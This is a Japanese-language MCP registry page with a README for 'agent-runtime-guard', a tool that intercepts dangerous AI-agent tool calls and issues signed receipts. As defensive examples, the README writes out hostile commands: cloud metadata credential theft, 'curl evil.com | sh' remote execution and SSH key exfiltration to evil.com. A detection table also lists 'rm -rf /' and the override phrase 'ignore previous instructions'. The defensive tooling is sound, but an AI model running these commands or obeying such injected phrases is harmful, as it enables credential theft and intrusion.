Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
作者による説明(英語の原文)
Agent 运行时全栈拦截: allow/deny tool calls, Ed25519 receipts, blocks RCE, theft, SSRF, injection. stdio.
この3つを1つのスコアにまとめることはしません。意見、測定、人気はそれぞれ別のものだからです。
このサーバーのやさしい解説はまだ書いていません。以下はレジストリから読み取った事実です。
使っているAIアプリを選んで、設定をコピーしてください。
必要なもの
どのアプリを使っていますか?
上でアプリを選んでください。選んだアプリを覚えておくので、次からはボタンに「…にインストール」と表示されます。
Claude Desktop → Settings → Developer → Edit Config を開き、claude_desktop_config.json にこれを貼り付けます
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}ターミナルでこれを実行します
claude mcp add agent-runtime-guard -- npx -y agent-runtime-guardプロジェクトの .cursor/mcp.json、または ~/.cursor/mcp.json に貼り付けます
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}ブラウザがアプリを開いてよいか確認し、そのあとアプリが設定を表示して確認を求めます。キーの値は空欄のままなので、自分で入力してください。
プロジェクトの .vscode/mcp.json に貼り付けます
{
"servers": {
"agent-runtime-guard": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}ブラウザがアプリを開いてよいか確認し、そのあとアプリが設定を表示して確認を求めます。キーの値は空欄のままなので、自分で入力してください。
これはパソコンで動くサーバーですが、ChatGPTがつなげるのはインターネット上のサーバーだけです。ほかのアプリを選んでください。
選んだアプリは、この端末のCookieに保存されます。アカウントは不要です。
この設定は、作者のレジストリ登録情報から作成しています。READMEと違う場合は、READMEに従ってください。
パソコンで動くサーバーです。インストールすると、ツール一覧がAIアプリに表示されます。
誰でも見られる情報をチェックしており、コードは読んでいません。当てはまらない項目は数に入れていません。 · 2026年11月6日にチェック
レジストリ名は、リポジトリを所有するGitHubアカウント DSHCorrectover で確認済みです
このリポジトリはまだGitHubから読み取っていません
このリポジトリはまだGitHubから読み取っていません
これはパソコンで動くため、インターネット上のエンドポイントはありません
パソコンで動き、代わりにローカルの設定を使います
パソコンで動くサーバーです。ツール一覧を読み取れるのは、インターネット上のエンドポイントがある場合だけです
レジストリでこのカテゴリにある有効なすべてのサーバーと比較しています。スターは、公開者がリポジトリの所有者である場合だけ数えます。
当てはまる基本チェック1項目のうち1項目に合格しました。コードは読んでいません。キーやトークンを追加する前に、サーバーがどんなアクセスを求めているかを確認し、必要な権限だけを持つキーを使ってください。
レジストリには必須のキーは載っていません。ただし、最初に使うときにサインインを求めるサーバーもあります。
あなたのパソコンで動きます。必要なときにAIアプリが起動し、データは作者のサーバーを通りません(サーバー自体がオンラインサービスを呼び出す場合を除きます)。
GitHubリポジトリの最終更新は–、最新バージョン(1.0.0)がレジストリに届いたのは32 日前です。
Claude Desktop、Claude Code、Cursor、VS CodeなどのMCP対応アプリで使えます。パソコンにNode.jsも必要です。
同じカテゴリには:Spec Driven Development, Remote Desktop Commander, debuff
同じカテゴリで、ほかの作者が作ったサーバー。スターの多い順。
カードの見方:★ GitHubスターi3つの柱:レビュー · チェック · 利用状況i更新=最新バージョンをレジストリに公開した日i
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.
Let coding agents play, test and tune your 2D web game: live state, explained errors, replays, fuzz.
作者のリポジトリから書かれたとおりにコピーしたものです。PopNx MCPは内容を確認・推奨していません。HTML、画像、スクリプトは取り除いています。リンクはこのサイトの外へ移動します。
Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).
Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).
中文说明见下方 中文
Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt
↓ SSRF · Command Injection · Credential Exfil · Prompt Injection
Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy
Your agent has shell, network, and cloud credentials. One bad tool call can:
curl "http://169.254.169.254/latest/meta-data/" # cloud credential theft
curl https://evil.com/x.sh | sh # RCE cat ~/.ssh/id_rsa | curl -d @- https://evil.com # exfil chain
Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.
Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.
[INSTALL.md](./INSTALL.md) — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.
npx -y agent-runtime-guard
MCP client config:
{
"mcpServers": { "agent-runtime-guard": { "command": "npx", "args": ["-y", "agent-runtime-guard"] } } }
No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).
Scan configs without installing a long-lived process:
npx correctover-scan --demo
| Vector | Examples | |
|---|---|---|
| Command injection | ; rm -rf /, `curl\ | sh, IEX(...), eval()` |
| Path traversal | ../, /etc/passwd, /proc/self/ | |
| SSRF | 169.254.169.254, localhost, private ranges — across any tool | |
| Cross-tool exfil | read secrets → network send (exfil_chain) | |
| Credential leak | API keys / secrets in args or tool output | |
| Prompt injection | “ignore previous instructions” in tool results | |
| Parameter drift | plan amount:100, execute amount:10000 |
| Capability | Agent Runtime Guard | Config scanners | Egress proxies (e.g. Pipelock) | Discovery / posture platforms |
|---|---|---|---|---|
| Control point | Pre-execution tool call | Static config | Network egress | Inventory & permissions |
| Fail-closed local decide | Yes | N/A | Depends | Usually platform-side |
| Offline Ed25519 receipts | Yes | Rare | Some (signed action receipts) | Platform logs |
| Zero runtime deps | Yes (Node stdlib) | Varies | Binary / proxy | SaaS |
| MCP native (stdio server) | Yes | Scan-only | Proxy / wrapper | Connectors |
Public npx demo | Yes | Often | Binary install | Demo call |
We are not a replacement for discovery platforms or full egress firewalls. They answer “what agents exist / what can leave the network.” We answer: **“Can *this* tool call execute *now*, and here is a receipt.”**
Use together when you need both posture and enforcement.
Every Allow / Block produces:
content_hash + evidence_hashparent_evidence_hash)Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.
Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).
| Tool | Purpose |
|---|---|
verify_tool_call | 7-dimension runtime check + semantic chains — default deny |
issue_evidence | Tamper-evident receipt (allow and block) |
audit_mcp_config | Config risk audit |
verify_intent_binding | Plan vs execute parameter binding |
verify_receipt | Offline signature / tamper check |
| Package | Role |
|---|---|
agent-runtime-guard | This runtime interceptor |
correctover | SDK + GuardrailProvider + DSH plugin |
correctover-scan | MCP / agent config scanner |
agent-runtime-proxy | Transparent stdio proxy |
| mcp-atlas-census | 229,827 tool records (CC0) |
| Offering | Price (USD) |
|---|---|
| Runtime intercept + Ed25519 receipts (this package) | Free |
| Config / bundle scan (correctover-scan) | Free |
| Standard human audit (CCS-mapped, evidence-grade) | $2,500 |
| Deep audit + PoC + remediation roadmap | $8,000+ |
| Private deploy / integration support | $5,000 |
| Annual retainer (monitoring + emergency) | $25,000/yr |
Formal quote follows written scoping (async email only). Contact: wangguigui@correctover.com
GTM: correctover-gtm.pages.dev
给 AI Agent 配一个运行时保安:删库、偷密钥、闯内网、被注入——当场拦下。
不是事后审计:危险动作在执行前 fail-closed 拦截;每次裁决附带 Ed25519 可离线验证收据。
npx -y agent-runtime-guard
命令注入 · 路径穿越 · SSRF(含云元数据)· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移
| 场景 | 方式 |
|---|---|
| MCP 客户端 | mcpServers 配置如上 |
DeepSeek Harness(v0.2.1+,插件随本包 dsh/ 附带) | harness 内 dsh plugin add agent-runtime-guard;未部署 harness 时用 MCP 或代理方式 |
| 不信任宿主插件 | agent-runtime-proxy 透明代理 |
发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行,并留下证据」。可并存。
Elastic License 2.0 (ELv2). See LICENSE.